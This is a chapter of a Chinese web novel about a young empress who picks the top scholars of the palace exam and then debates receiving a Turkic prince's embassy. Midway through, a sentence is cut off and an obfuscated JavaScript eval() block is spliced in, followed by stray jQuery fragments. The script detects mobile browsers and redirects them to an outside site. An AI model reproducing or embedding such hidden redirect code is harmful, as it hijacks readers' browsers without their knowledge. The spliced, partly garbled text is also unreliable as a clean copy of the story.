空谢荼蘼 作品
38. 入京
看起来的确很不错。
周围有几位学生,自此拿到试题后,便开始坐立不安抓耳挠腮,握着笔久久未曾写一字。
最终咬咬牙,听着内侍提醒时辰,举棋不定地写了起来。
恢弘宽广的太极殿内,安静得几乎可以听见笔尖滑过蜀纸的沙沙声,直到内侍宣布时辰已至,令他们停笔,才如释重负。
杨栩最后检查了一遍自己的考卷,趁人不备,飞快瞥了一眼宝座上的女帝。
——果真一模一样!
但更尊贵些,更端庄些,好似离他很远一般,和问他话时温和浅笑的女郎又截然不同。
陛下那日是与另一位大人微服访民间吗?
宫人来到他身侧取走试卷,他连忙低着头,不敢直视天颜。
几日后,裘沛有些紧张地来给宋撄宁禀报,将厚厚的一沓考卷送进了书房,见他这心有余悸的模样,宋撄宁也不欲多苛责,只随意夸了句裘尚书辛苦,便安安心心看起卷子来。
其实帝王阅卷,本应是由礼部挑选过后,择其中最佳的十份给她便可,但她怕裘沛不懂她想要什么样的学生,只好一改规矩,亲自来选。
如她所料,题目的确是难倒了不少人,前面的经史题基本都是写得流畅,可越到后面越是慌乱,许多人的字迹都带着颤抖。
宋撄宁微微叹息。
其实倒也不怪他们。
这些学子苦读多年,终于从自己的家乡,一步步走到了象征权力顶峰的太极殿上,有了面见帝王的机会,已是大邺最顶尖的人才了。
虽然不少只会闷头读书,但才华还是有的。
她让宫人给此次判卷的几位朝臣传了话,叫他们判卷时不必过于严苛,宽宥一些,随即便开始细细翻阅。
大邺的前三甲照例是皇帝亲自选出的,这也是未来的帝王门生,极为关键。
最终,她将自己满意的三张试卷单独放到一旁,宫人们前来解开封条,露出了学生的名字。
政事堂里的众人目光聚集在此,等待着三甲的诞生。
宋撄宁缓缓看去,卢讷,上官纯,杨栩。
据符染调查,上官纯应该就是上官循提过的学生之一,她是上官循从慈幼堂带回来的孤女,出身寒微,但对于时事观点很是犀利,不输贵族子女,有当年上官循的才女之风。
卢讷则是与中书舍人卢桓同出一族,范阳卢氏的子弟,得名师指导,在一众考卷里脱颖而出不稀奇。
这次的前三甲,倒是意外的都偏年轻些。
宋撄宁暗暗地想,年轻嘛......那就可以为朝廷多干几年了,有些人将近五六十岁才考上,没做几年事就浑身无力、病弱不堪了,朝廷还得帮忙照料着他们,简直是入不敷出。
次日,帝王点卢讷为状元,上官纯为榜眼,杨栩为探花,同时,礼部也张贴了进士名单。
崔望熙好奇地看着那几个名字:“我以为你会点杨栩做榜眼的。”
“他与上官纯不相上下,不过上官纯更敢说些,也经历过疾苦,感受深刻。”
“那他们仍是照例入翰林院吗?我记得撄宁说过想让他们去京畿以外的地方锻炼。”
宋撄宁点点头:“先循例在翰林院待一年,然后再外放。”
她批了几份折子,忽然又问道:“我记得你和卢家关系不错,卢讷此人你有多少了解?”
崔望熙:“名不副实。”
什么?
宋撄宁诧异地抬头:“朕点状元的时候你怎么不说?究竟有什么问题,这可是——”
崔望熙笑道:“他倒是没什么问题,但真的名不副实——此人话多得离谱,最爱与人闲聊攀谈,但因着知识渊博能言善辩的缘故,倒从不惹人厌烦。”
“他父母先前已经有了一个孩子,亦是如此,所以给他取了‘讷’的名字,盼着第二个孩子能安静些,结果......”
宋撄宁听着感觉十分有趣:“原是如此,朕还以为点的状元郎是个什么品行有碍的人,崔相下次可不许这样吓唬朕了。”
“我哪敢吓唬撄宁,不过是见你劳累,逗你开心罢了......”
“圣人!”符染快步从殿外赶来,微微喘着气,神色慌张。
宋撄宁还未见过她这副模样,跟着紧张起来:“怎么了?出什么事了?”
符染将手中一封厚重精美的册子递来:“突厥汗王递交书信,欲遣七王子入大邺,以求面见帝王,交两国之好。”
突厥前脚与贺兰错结亲,将公主下嫁,后脚便来向大邺投诚?
她接过册薄,一目十行地扫过,然后让宫人递给崔望熙一观。
“去政事堂,傅相和六部应该都在吧?”宋撄宁语速飞快,“不在的立刻去宣。”
到达政事堂时,屋内一片喧闹,大家已经知晓了此事,正吵得不可开交。
宋撄宁落了座,拍了拍桌子,众人才安静下来,向她行礼。
“众卿以为当如何?”
“臣以为,突厥包藏祸心,欲借此窥探我大邺机要,绝不可答应他!”
“陛下,臣倒是觉得,突厥愿意主动示好,甚至命七王子出使,有足够的诚意,大邺内患未除,不宜再与外结怨了!”
他旁边一人听了这话,立刻大声道:“结怨?不是他们一直在扰吾边境吗!”
那人也不甘示弱:“老夫为了大邺安定着想,你什么意思?你敢污蔑——”
“难道我就不是为了大邺着想吗——”
崔望熙看着他们争得面红耳赤,冷冷地道:“够了。”
宋撄宁亦是被吵得心浮气躁,她环视一圈,“朕与崔相倾向于答允可汗,让七王子入京,傅相的意思呢?”
傅善平起身:“臣也以为,答允突厥更妥当一些。”
“时下河西、岭南皆有隐患潜伏,暂行稳住突厥更有利些。何况,”他解释道,“可汗送王嗣来此,效前朝质子之法,证明了他短期内无意起战事。”
宋撄宁又一一询问了几人,最终敲定了月
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049568|161269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底迎七王子入京,按例由礼部操办此事。
回了紫宸殿后,她叫来杜年,“这个七王子,你在河西的时候,可有耳闻?”
杜年回想了一番,将知晓的事尽数告诉她。
原来这位七王子是可汗阿史那莫明的正室所出双生子之一,也是他最小的儿子,降生那日,草原下了一夜的雨,次日清晨虹霞漫天,被汗王以为是吉兆,很是宠爱这对双生子,亲自取名艾山和玉山,意为光明。
“阿史那玉山?”宋撄宁默念着这个名字,“还有呢?”
杜年答道:“传言七王子天生伟力,十岁时便能拉动汗王的重弓,箭术超凡,骁勇善战,年少英俊,引得一众族内女子倾心。”
“嘶,十岁就能拉弓了?”宋撄宁感到一丝震惊,回想起几年前时自己练习骑射的痛苦经历,一时有些感慨,“他今年多大了?”
杜年估算了片刻:“七王子大约......十七吧?”
竟然比宋撄宁还小一些。
“看来不可轻视。”她追问,“还有什么消息吗?”
“其余都是夸赞他的话了,臣只能略通他们的语言,难以知晓更多。但玉山王子与那位要嫁入河西贺兰氏的公主关系相当不错。”
“嗯,够了。”宋撄宁听着她短短几语,已经大致对这位玉山王子有了初步印象。
“对了,莫明既然如此宠爱他,没有立他为继承人吗?”
“并没有,太子是汗王的长子,地位稳固。”杜年低下头,声音低低的,“这位太子残暴嗜杀,手段残忍,且极其易怒,幸好来大邺的是七王子。”
宋撄宁微微蹙眉:“朕知道了。”
她感到一丝烦闷,起身在书房里踱步,慢慢站到了那幅画下。
指尖轻轻划过,崔望熙作画用的是蜀地白宣,柔软坚韧,不易破损。
宋撄宁与画中的女郎对视良久,轻轻抚上自己的脸。
一转头,崔望熙正站在山河屏风边,眼底是温和的笑意。
“撄宁。”
“你又悄悄地进来,也不怕吓着朕。”宋撄宁靠着花罩,朝崔望熙伸出手,男人会意,上前牵住。
“臣可是唤了圣人好几声,圣人自己没听到,竟反过来怨我......”他话中带着好奇:“刚刚撄宁在做什么?”
“朕只是在看看,自己容貌与从前相差多少......若是将来垂垂老矣,鬓生白发,再看到画里自己青春年少,恐怕——”
“你才十九岁,为何要想这些?”
宋撄宁也不多纠结:“只是听杜年说,那位七王子十岁拉重弓,如今堪堪十七岁,年少英才,引人称羡,也不知道为什么,就想到这了。”
“十岁拉重弓?”崔望熙重复了一句,“哼,撄宁也觉得他挺好的吗?”
宋撄宁无奈地道:“朕不偏爱武将,崔相可别乱想了。”
窗外的秋风吹着紫薇花摇曳不息,阳光洒进殿内,落下金色的影子,转眼已到了那位七王子入京的日期。
宋撄宁于太极宫麟德殿设宴,为他接风洗尘。